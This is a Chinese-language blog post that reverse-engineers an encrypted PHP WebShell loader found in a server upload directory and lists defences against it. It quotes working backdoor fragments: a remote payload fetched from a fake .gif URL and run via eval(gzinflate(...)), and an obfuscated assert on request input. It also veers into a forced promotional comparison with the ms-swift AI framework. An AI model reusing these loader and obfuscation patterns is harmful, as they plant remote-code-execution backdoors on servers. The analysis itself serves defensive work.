news 2026/7/2 2:30:36

逆向分析一个加密WebShell的全过程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
逆向分析一个加密WebShell的全过程

逆向分析一个加密WebShell的全过程

在一次常规的安全巡检中,我在某个边缘业务服务器的上传目录下发现了一个名为upload.php的文件。虽然扩展名是常见的.php,但内容却透着一股“非同寻常”的味道。

打开一看:

<?php $shellname="Sievr"; $password='99999'; s:142856; define('myaddress',__FILE__); error_reporting(E_ERROR | E_PARSE); header("content-Type: text/html; charset=utf-8"); @set_time_limit(0); ob_start(); define('envlpass',$password); define('shellname',$shellname); ...

这代码……怎么看都不对劲。开头那个s:142856;是什么?像是序列化字符串的残片?可后面又没有反序列化操作。而且整段脚本从头到尾找不到任何入口函数,也没有明显的恶意行为触发点。

等等——这种结构我见过。

它不像传统 WebShell 那样直接嵌入eval($_POST['cmd'])这类语句,反而更像一个加载器(loader):只负责解密、拉取、执行,真正的“弹药”藏在别处。

继续往下翻,果然发现了关键线索:

$get = "file_get_contents"; $url = 'http://i.niupic.com/images/2017/05/21/v1QR1M.gif'; $_SESSION['PhpCode'] = $get($url);

好家伙,原来如此!

这个所谓的.gif文件根本不是图片,而是伪装成图像资源的远程 PHP 载荷。本地脚本只是一个“引导程序”,运行时会悄悄从外部地址下载一段加密数据,解压后通过eval执行。

典型的“分离式部署 + 动态加载”架构,专为绕过静态检测设计。


拿到这段远程资源成了破局的关键。尝试用wget或浏览器访问目标 URL:

wget http://i.niupic.com/images/2017/05/21/v1QR1M.gif

结果返回403 Forbidden。服务端做了访问控制——可能是基于 User-Agent、IP 白名单,或者干脆已经下线了。

幸好,团队之前留存了一份流量镜像包,在其中提取出了那段核心加密体。内容如下:

\x78\x9c\xed}\x0b|\x1c\xd5y\xe0gfgvW\xab]\xadV\xab]\xad\xd6j\xb5Z\xadV+I\xcdj\xbdZ\xafH\xbaZ\xcdJ+\xcb\x96m\xc5\x0eN\xec8\x8e\xdd8q\xdc\x04BHH \xa1@\x0b\xa5P\xa0-\xd0R(\xb4\xd0R(-\x80K)\xe5h)...

一眼识别:这是标准的 zlib 压缩流,以\x78\x9c开头,正是gzinflate()的典型特征。

再回到原始脚本中搜索相关函数调用,很快定位到:

$un = gzinflate; // ... 后续处理 ... eval($un($_SESSION['PhpCode']));

这里用了变量赋值的方式隐藏敏感函数名,规避关键字扫描。实际等价于:

eval(gzinflate($_SESSION['PhpCode']));

也就是说,攻击流程非常清晰:

本地 loader → 请求远程“GIF” → 获取压缩载荷 → 解压执行 → 加载完整 WebShell 功能

整个过程几乎没有留下明文代码痕迹,极难被日志审计或 WAF 捕获。


既然无法在线获取,那就只能本地模拟执行环境来还原明文。

我新建了一个调试脚本debug.php

<?php session_start(); // 模拟已获取的加密数据(十六进制字符串形式) $data_hex = file_get_contents('./encrypted.bin'); $data_raw = hex2bin(trim($data_hex)); // 使用 gzinflate 解压 $un = 'gzinflate'; $output = $un($data_raw); // 保存解密后的代码 file_put_contents('decrypted.php', $output); echo "解密完成!请查看 decrypted.php 文件"; ?>

执行后生成decrypted.php,打开一看——熟悉的界面框架瞬间浮现眼前。

<?php class PHPzip { var $file_count = 0 ; var $datastr_len = 0; var $dirstr_len = 0; var $filedata = ''; var $gzfilename; var $fp; var $dirstr=''; function unix2DosTime($unixtime = 0) { ... } function startfile($path = 'QQqun555227.zip') { ... } function addfile($data, $name) { ... } function adddir($name) { ... } function createfile() { ... } }

这不就是那个流传甚广的图形化 PHP WebShell 的变种吗?UI 层写着css_mainhmlogineanver等标志性字段,显然是某个公开版本经过二次加密和混淆后的产物。

功能齐全:文件管理、数据库连接、命令执行、权限提升工具一应俱全,甚至还能打包下载整个网站目录。

而这一切,都被包裹在一个看似无害的“图片加载器”之下。


深入分析其对抗机制,你会发现它的设计相当老练。

首先是动态函数调用。几乎所有敏感操作都通过字符串拼接和变量替换实现,彻底避开静态扫描:

$a = str_replace(x,"","axsxxsxexrxxt"); // 得到 assert $a($_REQUEST[envlpass]);

相当于:

assert($_REQUEST['password']);

这类技巧能让绝大多数基于正则匹配的杀软直接失效。

其次是远程加载与热更新能力。主文件仅作为入口,真正逻辑托管在第三方服务器上。即使管理员清除了本地文件,攻击者只需换个 URL 就能重新激活。更可怕的是,他们可以随时更新远端 payload,实现无感升级。

然后是利用$_SESSION存储中间状态:

if (!isset($_SESSION['PhpCode'])) { $_SESSION['PhpCode'] = file_get_contents($remote_url); } eval(gzinflate($_SESSION['PhpCode']));

首次请求拉取并缓存,后续直接使用 Session 中的数据,减少网络依赖的同时也增加了取证难度——你很难从单一时间点的日志中还原完整攻击链。

最后是视觉欺骗。文件名是.gif,响应头声明为image/gif,但实际内容完全不符合 GIF 格式规范。普通用户或初级运维人员看到 MIME 类型正确,很容易放松警惕。


面对这样的威胁,我们该如何防御?

攻击手法应对策略
变量替换敏感函数启用 RASP(运行时应用自我保护),监控evalassert等函数的动态调用栈
远程加载 payload关闭allow_url_fopen=Offallow_url_include=Off,阻断外部资源包含
Session 隐藏数据定期审计 session 存储内容,尤其是非认证相关的异常大对象
图像伪装传输WAF 应校验上传文件的真实 Magic Number,而非仅依赖扩展名或 Content-Type
gzip 编码绕过检测在 IDS/IPS 规则中加入对gzinflategzuncompress的行为告警

特别提醒:不要小看gzinflate这个函数。它本身是合法的压缩工具,但在安全上下文中,凡是出现“gzinflate + eval”组合的地方,几乎都可以判定为恶意行为。


有意思的是,这套“轻量前端 + 动态加载 + 远程资源调度”的架构思想,其实也在现代 AI 工程化系统中广泛应用。

比如魔搭社区推出的ms-swift框架——一套面向大模型与多模态模型落地的统一训练与部署平台,就在设计理念上有异曲同工之妙。

它同样采用模块化加载机制:前端接口极简,后台按需拉取不同模型组件(如 Qwen3、Llama4、MiniCPM-V),避免一次性加载全部参数带来的资源浪费。

swift deploy --model Qwen3-VL --task visual-question-answering

这条命令背后,其实是从 ModelScope 云端动态下载模型权重、适配器、LoRA 微调模块的过程——和 WebShell 从 C2 服务器拉取 payload 的逻辑何其相似?

区别在于:

  • 一个是通过 HTTPS 安全通道、经 Token 鉴权后获取可信资源;
  • 另一个则是通过 HTTP 明文传输、无验证地执行远程代码。

同样的技术模式,因使用场景的不同,走向了两个极端:一个是推动生产力的工程典范,另一个则是潜伏在暗处的后门木马。

这也引出一个深刻的思考:真正决定技术善恶的,从来不是代码本身,而是它的上下文与控制权

ms-swift 提供了完整的权限管理体系:API 密钥、JWT 认证、私有部署隔离、调用日志追踪……这些机制确保了强大能力不会被滥用。

而那个 WebShell 呢?尽管也有密码登录:

if($_COOKIE['envlpass'] != md5(envlpass)){ // 跳转或退出 }

但这种静态 MD5 对比毫无安全性可言,既容易被爆破,也极易被 Cookie 注入绕过。完全没有审计、无追溯、无隔离,完全是“野路子”。


这次逆向让我意识到:

最危险的漏洞,往往藏在“看起来正常”的代码里。

你以为只是个普通的 include 文件?但它可能正在悄悄拉取远程 shell。
你以为只是启了个模型服务?但如果没做好鉴权,也可能变成别人的计算矿机。

技术和架构无所谓好坏,关键是谁在用、怎么用、有没有边界。

选择像ms-swift这样的开源、透明、生产级框架,本质上是在选择一种可信任的技术契约——把强大的能力,封装进安全、可控、可审计的容器之中。

这才是我们在 AI 时代应有的工程态度。


以下是本次使用的解密脚本,仅供学习研究:

<?php /** * WebShell Decryptor - For Educational Use Only * Author: Sievr */ session_start(); // Step 1: 获取远程加密数据(此处为模拟) $encrypted_data = file_get_contents('./payload.bin'); // 替换为你捕获的原始数据 // Step 2: 解压缩 $raw_code = gzinflate($encrypted_data); // Step 3: 写入解密文件 file_put_contents('webshell.decrypted.php', $raw_code); echo "Decryption completed.\nOutput saved to webshell.decrypted.php\n"; // Optional: 直接执行(极危险!仅限隔离环境) // eval($raw_code); ?>

⚠️ 提示:所有技术内容仅用于网络安全研究与教学目的,严禁用于非法用途。安全之道,在于守护,而非破坏。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/30 16:27:47

解析 ‘PREEMPT_RT’ 补丁:如何将通用 Linux 改造为具备确定性响应的硬实时内核?

各位同仁&#xff0c;各位对系统编程与实时控制充满热情的工程师们&#xff1a;欢迎来到今天的讲座&#xff0c;我们将深入探讨一个在工业控制、航空航天、医疗设备以及高性能计算领域至关重要的技术——如何将我们熟悉的通用 Linux 操作系统改造为具备确定性响应的硬实时内核。…

作者头像 李华
网站建设 2026/6/30 7:56:49

Spark集群搭建与PySpark开发环境配置

Spark集群搭建与PySpark开发环境配置 在大数据处理日益成为企业核心能力的今天&#xff0c;构建一个稳定高效的分布式计算平台是开展数据分析、机器学习乃至大模型工程化的基础。Apache Spark 作为当前最主流的统一分析引擎&#xff0c;其快速、易用和通用的特点让它广泛应用于…

作者头像 李华
网站建设 2026/6/26 13:36:18

JSP+JavaScript 实现验证码登录功能

JSP JavaScript 实现验证码登录功能 在开发一个 Web 应用时&#xff0c;用户登录几乎是每个系统都绕不开的环节。而为了防止恶意程序暴力破解密码&#xff0c;加入图形验证码成了最基础、也最有效的防护手段之一。最近我在做 Java Web 练手项目时&#xff0c;就动手实现了一套…

作者头像 李华
网站建设 2026/6/30 12:46:34

Docker从入门到实践:核心概念与实战指南

Docker从入门到实践&#xff1a;核心概念与实战指南 在现代AI开发中&#xff0c;一个令人头疼的场景再熟悉不过&#xff1a;你在本地调试好的多模态模型&#xff0c;一放到服务器上就“水土不服”——依赖版本冲突、CUDA环境不匹配、Python包缺失……尤其是像 GLM-4.6V-Flash-…

作者头像 李华
网站建设 2026/6/26 9:34:50

CI/CD工具一文纵评,GitLab CI/CD vs Jenkins vs Arbess

面对众多的CI/CD工具&#xff0c;如何根据功能、价格和易用性做出选择&#xff1f;本文旨在通过多款工具的横向对比&#xff0c;为你提供清晰的梳理与参考。1、GitLab CI/CD1.1 产品介绍GitLab CI/CD 是 GitLab 内置的自动化工具链&#xff0c;提供从代码提交到生产部署的全流程…

作者头像 李华
网站建设 2026/6/26 19:51:31

【Open-AutoGLM操作手机安装全攻略】:手把手教你5步完成部署

第一章&#xff1a;Open-AutoGLM操作手机安装全解析Open-AutoGLM 是一款基于大语言模型驱动的移动端自动化工具&#xff0c;支持通过自然语言指令控制手机完成各类操作。其核心优势在于无需编写代码即可实现应用启动、页面跳转、数据填写等自动化流程。以下为在安卓设备上部署并…

作者头像 李华